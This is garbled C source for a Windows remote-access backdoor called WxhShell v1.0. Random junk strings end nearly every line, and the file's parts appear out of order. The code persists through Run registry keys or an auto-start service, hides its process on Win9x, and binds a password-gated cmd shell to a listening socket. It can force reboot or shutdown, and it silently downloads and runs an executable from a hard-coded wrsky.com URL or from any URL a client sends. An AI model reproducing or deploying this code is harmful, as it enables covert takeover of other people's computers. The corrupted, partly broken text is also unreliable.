    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ni~45WX3  
    if(Boot(SHUTDOWN)) oC4rL\d{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/k,q  
    else { (]7@0d88  
    closesocket(wsh); ,P auP~L  
    ExitThread(0); f1=8I_>=  
    } uUc[s"\  
    break; -F8%U:2a  
    } HowlJ[km%  
  // 获取shell F6%rH$aS  
  case 's': { ;A- Ef  
    CmdShell(wsh); 6\::Ku4_2  
    closesocket(wsh); dcHkb,HsO  
    ExitThread(0); SCGQo.~,  
    break; LR9'BUfFv  
  } (/@o7&>*50  
  // 退出 +S/8{2%?DG  
  case 'x': { V 8n}"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jt)<RMQ^R  
    CloseIt(wsh); =602%ef\  
    break; KJ9~"v  
    } ,(c="L4[  
  // 离开 !kV?h5@Bo  
  case 'q': { l" sR\`~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }DZkCzK  
    closesocket(wsh); o,aI<5"  
    WSACleanup(); e;!<3b  
    exit(1); NoKYHN^*w  
    break; Uj!L:u2b  
        } 4 Qw;r  
  } @&EP& $*  
  } $7BD~U   
<n6/np!  
  // 提示信息 U{ahA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }:jXl!:V  
} 7kJ,;30)  
  } [Xz7.<0#U  
Mm/GI a  
  return; O$&p<~  
} n"dT^ g  
V).M\  
// shell模块句柄 /,:32H  
int CmdShell(SOCKET sock) 0f-gQD  
{ E* lqCh  
STARTUPINFO si; @l;f';+  
ZeroMemory(&si,sizeof(si)); }>0UaK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \lY26'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w6wXe_N+M  
PROCESS_INFORMATION ProcessInfo; OKf/[hyu  
char cmdline[]="cmd"; ol:_2G2xQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r;Dl  
  return 0; ;- cq#8S  
} `mWg$e,  
9]7^/g*!  
// 自身启动模式 vkt)!hl `  
int StartFromService(void) q g%<>B&"  
{ tGf  
typedef struct :^ cA\2=  
{ %*s[s0$c  
  DWORD ExitStatus; \}<nXn!  
  DWORD PebBaseAddress; zF{ z_c#3@  
  DWORD AffinityMask; yXEC@#?|  
  DWORD BasePriority; Z>X -ueV  
  ULONG UniqueProcessId; -AffKo  
  ULONG InheritedFromUniqueProcessId; L^0jyp  
}   PROCESS_BASIC_INFORMATION; ?EpY4k8,  
3ea6g5kX  
PROCNTQSIP NtQueryInformationProcess; sxuYwQ  
Z#Zk)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |H |ewVUY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sXfx[)T<  
k*n5+[U^tP  
  HANDLE             hProcess; =XWi+')  
  PROCESS_BASIC_INFORMATION pbi; =nY*,Xu<  
8<g5.$xyz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tZ6KU11O  
  if(NULL == hInst ) return 0; xUeLX`73  
 F-ijGGL#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |~Z+Xl a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M"V?fn'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UCq+F96j  
w-\GrxlbX  
  if (!NtQueryInformationProcess) return 0; 4~Z\tP|Q.  
qvab >U`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ (X~Z  
  if(!hProcess) return 0; Tlf G"HzZ%  
M<)HJ lr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gGZ$}vX  
Gb MSO  
  CloseHandle(hProcess); zx\?cF  
YxsW Y7J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {j^}"8GB  
if(hProcess==NULL) return 0; D&]SPhX  
hZyz5aZ)K  
HMODULE hMod; 9cj:'KG)!  
char procName[255]; \Hy~~Zh2  
unsigned long cbNeeded; HZM&QZHx)`  
2>UyA.m0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,rG$JCS'KQ  
(A ?e}M^}  
  CloseHandle(hProcess); T$RZRZo  
.ipYZg'V  
if(strstr(procName,"services")) return 1; // 以服务启动 Ao=.=0os  
^(a%B  
  return 0; // 注册表启动 0P!6 .-XU  
} QRa>W/N  
!qy/'v4  
// 主模块 )WBTqML[  
int StartWxhshell(LPSTR lpCmdLine)  C9*'.~  
{ v_oNM5w  
  SOCKET wsl; *,z__S$Q)  
BOOL val=TRUE; CRS/qso[Q'  
  int port=0; EY&hWl*a^  
  struct sockaddr_in door; -,p(PK  
\]o#tYN\a0  
  if(wscfg.ws_autoins) Install(); yyBy|7QgO  
:;]6\/ky  
port=atoi(lpCmdLine); QZzi4[-as  
N|8TE7- F|  
if(port<=0) port=wscfg.ws_port; O[q {y  
dx:],VB  
  WSADATA data; 6R#f 8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p+A#t~K  
$7lI Dt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nno*X9>~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Ibp%'H  
  door.sin_family = AF_INET; ]JtK)9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :uqsRFo&4  
  door.sin_port = htons(port); V~ZAs+(2Z  
Bm.%bA>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &|55:Y87  
closesocket(wsl); LUJKR6oT{>  
return 1;  :3u>%  
} Eiwo== M  
#=+d;RdlW  
  if(listen(wsl,2) == INVALID_SOCKET) { XG*Luc-v  
closesocket(wsl); -Vw,9VCF  
return 1; ,GGr@})  
} lS9rgq<n  
  Wxhshell(wsl); P b2exS(  
  WSACleanup(); p]IF=~b  
i!jx jP  
return 0; |WlWZ8]  
^qYJx  
} !SEg4z  
Svy bP&i|  
// 以NT服务方式启动 BEN=/ v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hcwKi  
{ LbvnV~S  
DWORD   status = 0; G' Jsk4:c  
  DWORD   specificError = 0xfffffff; Al6)$8]e   
oJ>]=^?k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k)dLJ<EM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h0d;a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1Y\g{A "  
  serviceStatus.dwWin32ExitCode     = 0; kC0F@'D  
  serviceStatus.dwServiceSpecificExitCode = 0; )"wWV{k  
  serviceStatus.dwCheckPoint       = 0; -+-@Yq$  
  serviceStatus.dwWaitHint       = 0; ^6oz3+  
CR&v z3\Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -dZ7;n5&_  
  if (hServiceStatusHandle==0) return; 0vt?yD  
R/xeC [r  
status = GetLastError(); +P81&CaY  
  if (status!=NO_ERROR) Hh4$Qr;R  
{ Z$~Wr3/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h /@G[5E  
    serviceStatus.dwCheckPoint       = 0; zT*EpIa+LS  
    serviceStatus.dwWaitHint       = 0; vc5g 4ud  
    serviceStatus.dwWin32ExitCode     = status; :WJ[a#  
    serviceStatus.dwServiceSpecificExitCode = specificError; TE3A(N'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a9`E&Q}z  
    return; v&D^N9hy9  
  } tc.R(F96  
5ZSV)$t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8dNwi&4  
  serviceStatus.dwCheckPoint       = 0; 7q^o sOj"  
  serviceStatus.dwWaitHint       = 0; kR3g,P{L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VkZrb2]v  
} >/Gz*.  
8lg $]  
// 处理NT服务事件,比如:启动、停止 bO8g#rO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g VplBF7{  
{ m?V4r#t  
switch(fdwControl)  bF0 y`  
{ 4%0eX]  
case SERVICE_CONTROL_STOP: #ih(I7prH  
  serviceStatus.dwWin32ExitCode = 0; T'"aStt6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N p$pz  
  serviceStatus.dwCheckPoint   = 0; Oca_1dlx  
  serviceStatus.dwWaitHint     = 0; /ZUKt  
  { 9,sj,A1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "k o?AUt  
  } 4siNY4i"  
  return; gu7mGHn-  
case SERVICE_CONTROL_PAUSE:  pQKR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #HfvY}[o  
  break; NiQ`,Q$B  
case SERVICE_CONTROL_CONTINUE: ?| s1Cuc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [I^>ji0V  
  break; imv[xBA(d  
case SERVICE_CONTROL_INTERROGATE: <,$(,RX  
  break; vd6Y'Zk|F6  
}; 0GK<l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Wn={1Ts"  
} 7F!_gj p  
0&} "!)  
// 标准应用程序主函数 u%3D{Dj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S!j=hj@qW  
{ d[9c6C:<q  
i<@6f'Kir  
// 获取操作系统版本 nlOM4fJ(  
OsIsNt=GetOsVer(); 1JM EniB+9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p%pM3<p  
71_{FL8  
  // 从命令行安装 !o1{. V9q  
  if(strpbrk(lpCmdLine,"iI")) Install(); =UE/GTbl  
 G?AZ%Yx  
  // 下载执行文件 ze@NqCF  
if(wscfg.ws_downexe) { (A|Gb2X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @KfFt R-;  
  WinExec(wscfg.ws_filenam,SW_HIDE); =ZR9zL=h  
} =Yg36J4[  
?5_~Kn%2  
if(!OsIsNt) { z-$bce9*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~8L*N>Y  
HideProc(); osPJ%I`^  
StartWxhshell(lpCmdLine); qpjtF'  
} r9McCebIW  
else SAMP,un7  
  if(StartFromService()) ;jS2bc:8a  
  // 以服务方式启动 FR&4i" +  
  StartServiceCtrlDispatcher(DispatchTable); YNyaz\L  
else uu@Y]0-  
  // 普通方式启动 B8 ;jRY  
  StartWxhshell(lpCmdLine); PY- 1 oP  
= _X#JP79  
return 0; Q\|72NWS  
} 2#:/C:  
(C>FM8$J  
4=!SG4~o  
yr?*{;  
=========================================== a+sHW<QeS  
 AV{3f`  
7N9~nEU  
#-*7<wN   
sLrSi  
Z M_ 6A1  
" ywWF+kR_  
qKNX^n;  
#include <stdio.h> Y7(E<1Yx  
#include <string.h> exT O#*o  
#include <windows.h> y=7WnQc  
#include <winsock2.h> XJ,P8nx  
#include <winsvc.h> >oSNKE  
#include <urlmon.h> U+:oy:mz  
QFt7L  
#pragma comment (lib, "Ws2_32.lib") 4gbi?UAmX  
#pragma comment (lib, "urlmon.lib") IA_>x9 (~  
6$c,#%Jt*  
#define MAX_USER   100 // 最大客户端连接数 7ADh  
#define BUF_SOCK   200 // sock buffer e&%m[:W:<  
#define KEY_BUFF   255 // 输入 buffer |TM&:4D]^  
|<tZ|  
#define REBOOT     0   // 重启 XN65bq  
#define SHUTDOWN   1   // 关机 b Lag&c)  
~_<I}!j/B  
#define DEF_PORT   5000 // 监听端口 &U q++f6  
o_; pEe  
#define REG_LEN     16   // 注册表键长度 J%}9"Q5  
#define SVC_LEN     80   // NT服务名长度 <q|IP_  
Q M7z .  
// 从dll定义API -wv5c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7.g)_W{7}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H^_]' ~.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rw_T&>!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dayp1%d  
6Q S[mWU  
// wxhshell配置信息 !9|)v7}  
struct WSCFG { DE"KbA0}  
  int ws_port;         // 监听端口 94C)63V  
  char ws_passstr[REG_LEN]; // 口令 bL*;6TzRK  
  int ws_autoins;       // 安装标记, 1=yes 0=no SxV(.i'  
  char ws_regname[REG_LEN]; // 注册表键名 at7|r\`?-  
  char ws_svcname[REG_LEN]; // 服务名 N'hj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {g9?Eio^F^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AdBF$nn[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D~_|`D5WK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `s74g0h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kB_uU !G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] =ar&1}J  
jCdKau&9  
}; HRS|VC$tz  
SjgF&LD  
// default Wxhshell configuration *4}l V8  
struct WSCFG wscfg={DEF_PORT, S~^0 _?  
    "xuhuanlingzhe", &X0/7)*"v  
    1, nsR^TD;  
    "Wxhshell", uV1H iv-  
    "Wxhshell", bDd$79@m  
            "WxhShell Service", bSHlR#!6  
    "Wrsky Windows CmdShell Service", V lb L p;  
    "Please Input Your Password: ", _J^q|  
  1, 7+] T}4;  
  "http://www.wrsky.com/wxhshell.exe", T3 xr Ua&  
  "Wxhshell.exe" `< 8Fc`;[  
    }; BOqq=WY  
d bU  
// 消息定义模块 Q]X0 O10  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 48,Aq*JFw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SPKen}g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^aVoH/q*C  
char *msg_ws_ext="\n\rExit."; 'G z>X :  
char *msg_ws_end="\n\rQuit."; %-"?  
char *msg_ws_boot="\n\rReboot..."; AMqu}G  
char *msg_ws_poff="\n\rShutdown..."; : sIZ+3  
char *msg_ws_down="\n\rSave to "; G#V5E)Dx  
w`XwW#!}@$  
char *msg_ws_err="\n\rErr!"; Yo0%5 noz  
char *msg_ws_ok="\n\rOK!"; 7Cf%v`B4D  
FI@2K M  
char ExeFile[MAX_PATH]; g*8LdH 6mq  
int nUser = 0; b:fy  
HANDLE handles[MAX_USER]; '>FJk`iI  
int OsIsNt; H8 yc<  
KLBV(`MS  
SERVICE_STATUS       serviceStatus; -,j J{Y~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #u+BjuZo  
6w{^S~rqo  
// 函数声明 2,|*KN*e`W  
int Install(void); =y>P>&sI  
int Uninstall(void); !v\m%t|.  
int DownloadFile(char *sURL, SOCKET wsh); $eQ_!7Gom$  
int Boot(int flag); 8 OC5L1  
void HideProc(void); ;aYPv8s~,:  
int GetOsVer(void); Wo5G23:xz  
int Wxhshell(SOCKET wsl); bu"Jb4_a>  
void TalkWithClient(void *cs); N]cGJU>$  
int CmdShell(SOCKET sock); R`=IYnoOA  
int StartFromService(void); <x@\3{{U  
int StartWxhshell(LPSTR lpCmdLine); e2w$":6>  
ixN>KwH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5n;|K]UW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &|<~J (L;  
.UbmU^y|  
// 数据结构和表定义 ;@K,>$ur-  
SERVICE_TABLE_ENTRY DispatchTable[] = G[u_Uu=>  
{ Q(m} Sr4  
{wscfg.ws_svcname, NTServiceMain}, G 8|[.n  
{NULL, NULL} AG) N^yd  
}; #FF5xe  
9Vk61x6  
// 自我安装 R7T"fN  
int Install(void) %kD WUJZ  
{ AF D/ J  
  char svExeFile[MAX_PATH]; 77/y{#Sk  
  HKEY key; +Cx~4zEq  
  strcpy(svExeFile,ExeFile); sw*k(i  
a AYO(;3  
// 如果是win9x系统,修改注册表设为自启动 (omdmT%D  
if(!OsIsNt) { r5[om$|*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "%ag^v9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L.(T"`-i  
  RegCloseKey(key); ^8)&~q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U0u@[9!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D+rDgrv  
  RegCloseKey(key); GSV,  
  return 0; t&SJ!>7_c  
    } uR)itmc?  
  } 'xZxX3  
} #l~ d  
else { XRs/gUT  
Ed #%F-1sX  
// 如果是NT以上系统,安装为系统服务 EH3jzE3N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lsW.j#yE!  
if (schSCManager!=0) S$%/9^\jF  
{ 6f 6_ztTL  
  SC_HANDLE schService = CreateService aGp <%d  
  ( Hk2@X(  
  schSCManager, (o^V[zV  
  wscfg.ws_svcname, P;KbS~ SlC  
  wscfg.ws_svcdisp, [OG-ZcNu?  
  SERVICE_ALL_ACCESS, aVuan&]*=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cd#*Wp)s  
  SERVICE_AUTO_START, f&`v-kiAn=  
  SERVICE_ERROR_NORMAL, )Tngtt D  
  svExeFile,  9 N=KU  
  NULL, [gzU / :  
  NULL, UE7 P =B  
  NULL, doc5;?6   
  NULL, _KmpC>J+  
  NULL eJ{"\c(  
  ); \, n'D  
  if (schService!=0) (#c5Q&  
  { _'n;rZ+  
  CloseServiceHandle(schService); !QVd'e  
  CloseServiceHandle(schSCManager); R ;5w*e}?5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i BJ*6orz  
  strcat(svExeFile,wscfg.ws_svcname); *sJx0<!M}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f;u;hQxs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *-+~H1tP  
  RegCloseKey(key); pzU">)  
  return 0; .j88=t0  
    } 9ciL<'H\  
  } TOMvJ>bF  
  CloseServiceHandle(schSCManager); g/z9bOgIX  
} 8f^URN<x  
} C==tJog[  
3Un/-4uL  
return 1; >jl"Yr#  
} a^[io1}-  
8SAz,m!W)  
// 自我卸载 `H/HLCt  
int Uninstall(void) Cy6[p  
{ 6El%T]^  
  HKEY key; =q xcM+OX1  
e7#=F6  
if(!OsIsNt) { qx0o,oZN!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V<4)'UI?k9  
  RegDeleteValue(key,wscfg.ws_regname); " "a+Nc  
  RegCloseKey(key); D{BH~IM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Hzbb#  
  RegDeleteValue(key,wscfg.ws_regname); ^D4b\mF  
  RegCloseKey(key); =Bo0Oei  
  return 0; SVq7qc9K?  
  } m}uF&|5  
} l'16B^  
} NlcWnSv  
else { ,7%(Jj$ ^  
;o^m"I\y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G#@<bg3  
if (schSCManager!=0) T82=R@7  
{ SmR*b2U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vMRKs#&8  
  if (schService!=0) 2DV{gF  
  { 3'/wRKl  
  if(DeleteService(schService)!=0) { ) ]~HjA;  
  CloseServiceHandle(schService); %< j=&  
  CloseServiceHandle(schSCManager); kI[EG<N1k  
  return 0; bjT0Fi0-  
  } }_?7k0EZ@  
  CloseServiceHandle(schService); BMX x(W]  
  } &OzJ^G\o  
  CloseServiceHandle(schSCManager); 9oq(5BG,  
} cQ+, F2  
} :He:Bdk  
/=r&9P@Ay<  
return 1; \17)=W  
} n.1a1Tf  
 &R^mpV5  
// 从指定url下载文件 xD1wHp!+  
int DownloadFile(char *sURL, SOCKET wsh) Y(A?ib~K  
{ |g;XC^!%=o  
  HRESULT hr; sJM}p5V  
char seps[]= "/"; IBF>4q m"  
char *token; i-ogeR?  
char *file; czZ-C +}%  
char myURL[MAX_PATH]; A(s/Nz>  
char myFILE[MAX_PATH]; g:,4Kd|  
[6|8Gx :  
strcpy(myURL,sURL); P2s0H+<  
  token=strtok(myURL,seps); 6kDU}]c:H]  
  while(token!=NULL) *M`[YG19!e  
  { q?0goL  
    file=token; aPb!-o{  
  token=strtok(NULL,seps); iTK1I0  
  } QiRzA4-zq  
9QX{b+}"e  
GetCurrentDirectory(MAX_PATH,myFILE); D 3HB`{  
strcat(myFILE, "\\"); >=Rb:#UM  
strcat(myFILE, file); jgMWjM6.  
  send(wsh,myFILE,strlen(myFILE),0); EhVnt#`Si  
send(wsh,"...",3,0); r}5GJ|p0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1Gqtd^*;  
  if(hr==S_OK) X|q0m3jt  
return 0; zYs? w=  
else (f.A5~e  
return 1; jyT(LDsS  
VI+Y4T@  
} ePY K^D  
~ ZDdzp>  
// 系统电源模块 tllg$CQ5  
int Boot(int flag) qzmZ/z96  
{ #tfJ?w`  
  HANDLE hToken; { U<h tl4  
  TOKEN_PRIVILEGES tkp; 4Sl^cKb$7  
eo,]b1C2n  
  if(OsIsNt) { . LS.Z 4@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D0]9 -h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E nUo B<  
    tkp.PrivilegeCount = 1; p_nrua?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [{c8:)ar  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~G$OY9UC  
if(flag==REBOOT) { "l@~WE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0y1t%C075  
  return 0; s`TBz8QO$  
} hg&AQk  
else { Fca?'^X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wvYxL c#p0  
  return 0; Bl1I "B  
} * K7L5.  
  } (l^lS=x  
  else { :Oj+Tc9A  
if(flag==REBOOT) { l00D|W_ 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lGz0K5P{  
  return 0; XDWERv Ij  
} $R5-JvJJH  
else { ~iSW^mi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) axl?t|~I  
  return 0; +Q9HsfX/  
} 2U+&F'&Q  
} 0jS/U|0  
JU6np4  
return 1; Z`!pU"O9l  
}  y1saE  
OH(+]%B78  
// win9x进程隐藏模块 WT)")0)[  
void HideProc(void) >fdN`W }M  
{ JQCwI`%i  
!K2[S J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aD^MoB3  
  if ( hKernel != NULL ) :tgTYIF  
  { D0P% .r"v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9%wppNT/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q8lK6p\:W  
    FreeLibrary(hKernel); r6)1Y`K=9  
  } n" ~*9'  
pWp2{G^XB  
return; r/v&tU  
} +OmSR*fA0  
ig,|3(  
// 获取操作系统版本 vOS0E^  
int GetOsVer(void) 5zGj,y>u  
{ aVb]H0  
  OSVERSIONINFO winfo; *l^'v9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :6 fQE#(s&  
  GetVersionEx(&winfo); QUDVsN#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ss:,#|   
  return 1; +g[B &A!d+  
  else K_aN7?#.v`  
  return 0; ._3NqE;  
} .R'i=D`Pz  
i=D,T[|>a  
// 客户端句柄模块 ^&.?kJM  
int Wxhshell(SOCKET wsl) LA+MX 0*  
{ v3"xJN_,[p  
  SOCKET wsh; cn0Fz"d  
  struct sockaddr_in client; "m3Y))a  
  DWORD myID; r;C\eN  
x(`$D  
  while(nUser<MAX_USER) rZv+K/6*M  
{ yDC97#%3u  
  int nSize=sizeof(client); ,Ai i>D]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;cr6Xop#?  
  if(wsh==INVALID_SOCKET) return 1; c v 9 6F  
!;gke,fB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |DD?3#G01  
if(handles[nUser]==0) >C[1@-]G%7  
  closesocket(wsh); gT OMD  
else lo:~~l  
  nUser++; c5R{Sl  
  } yh:,[<q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cZ>W8{G  
x,dv ~QU  
  return 0; q@9 i3*q;  
} mmL~`i/  
;Y^RF?un  
// 关闭 socket <^Tj}5 )n  
void CloseIt(SOCKET wsh) m #QI*R XP  
{ 0 l@P]_qq`  
closesocket(wsh); W6T&hB  
nUser--; 5KR|p Fq  
ExitThread(0); 6hK"k  
} DeA'D|  
HqBPY[;s  
// 客户端请求句柄 >G2-kL_  
void TalkWithClient(void *cs) PuaosMn(9  
{ D 8Rmxq!  
PNgMLQI6  
  SOCKET wsh=(SOCKET)cs; ai4^NJn  
  char pwd[SVC_LEN]; a`*WpP\+  
  char cmd[KEY_BUFF]; :$aW@?zAY  
char chr[1]; [r8 d+  
int i,j; MF}Lv1/[-J  
?8@*q6~8  
  while (nUser < MAX_USER) { C4tl4df9  
E{ s|#  
if(wscfg.ws_passstr) { l|A8AuO*?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mqp68%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v s|6w w  
  //ZeroMemory(pwd,KEY_BUFF); _KVB~loT  
      i=0; I;-5]/,  
  while(i<SVC_LEN) { 9`xFZMd31A  
%n25Uq  
  // 设置超时 r5!M;hU1j  
  fd_set FdRead; rVy\,#|  
  struct timeval TimeOut; *hs<Ez.cC  
  FD_ZERO(&FdRead); p0y?GNQ  
  FD_SET(wsh,&FdRead); SsX05>  
  TimeOut.tv_sec=8; yQ{_\t1Wd  
  TimeOut.tv_usec=0; [9om"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /'6[*]IZP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Fx z!-9m  
hX%v`8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  /kU@S  
  pwd=chr[0]; gsWlTI  
  if(chr[0]==0xd || chr[0]==0xa) { #.+*G`m  
  pwd=0; ]wpYxos  
  break; }]+}Tipd  
  } Q 02??W  
  i++; }#>d2 =T$  
    } n "KJB  
:TYzzl43  
  // 如果是非法用户,关闭 socket 8;\tP29  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  jnzz~:  
} KH>sCEt  
<S@mQJS!y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vC<kpf!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }|"*"kxi!  
`OReSg 2  
while(1) { %GCd?cFF  
D.R|HqZ  
  ZeroMemory(cmd,KEY_BUFF); 8sF0]J[g{  
;To+,`?E;q  
      // 自动支持客户端 telnet标准   @-@rG>y^:  
  j=0; h;UdwmT  
  while(j<KEY_BUFF) { Pq\V($gN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {C0^D*U:  
  cmd[j]=chr[0]; "rDzrz  
  if(chr[0]==0xa || chr[0]==0xd) { }_:#fE  
  cmd[j]=0; =tRe3o0(  
  break; -sH.yAvC6  
  } k,iV$,[TF  
  j++;  Ox*T:5  
    } 40d9/$uzh  
I u~aTgHX%  
  // 下载文件 Doc'7P  
  if(strstr(cmd,"http://")) { 7K]U |K#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D3AtYt  
  if(DownloadFile(cmd,wsh)) < Gy!i/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o p5^9`"  
  else DD6`k*RIk.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); us,,W(q  
  } @1-GPmj-  
  else { %3#I:>si  
p9}c6{Wp  
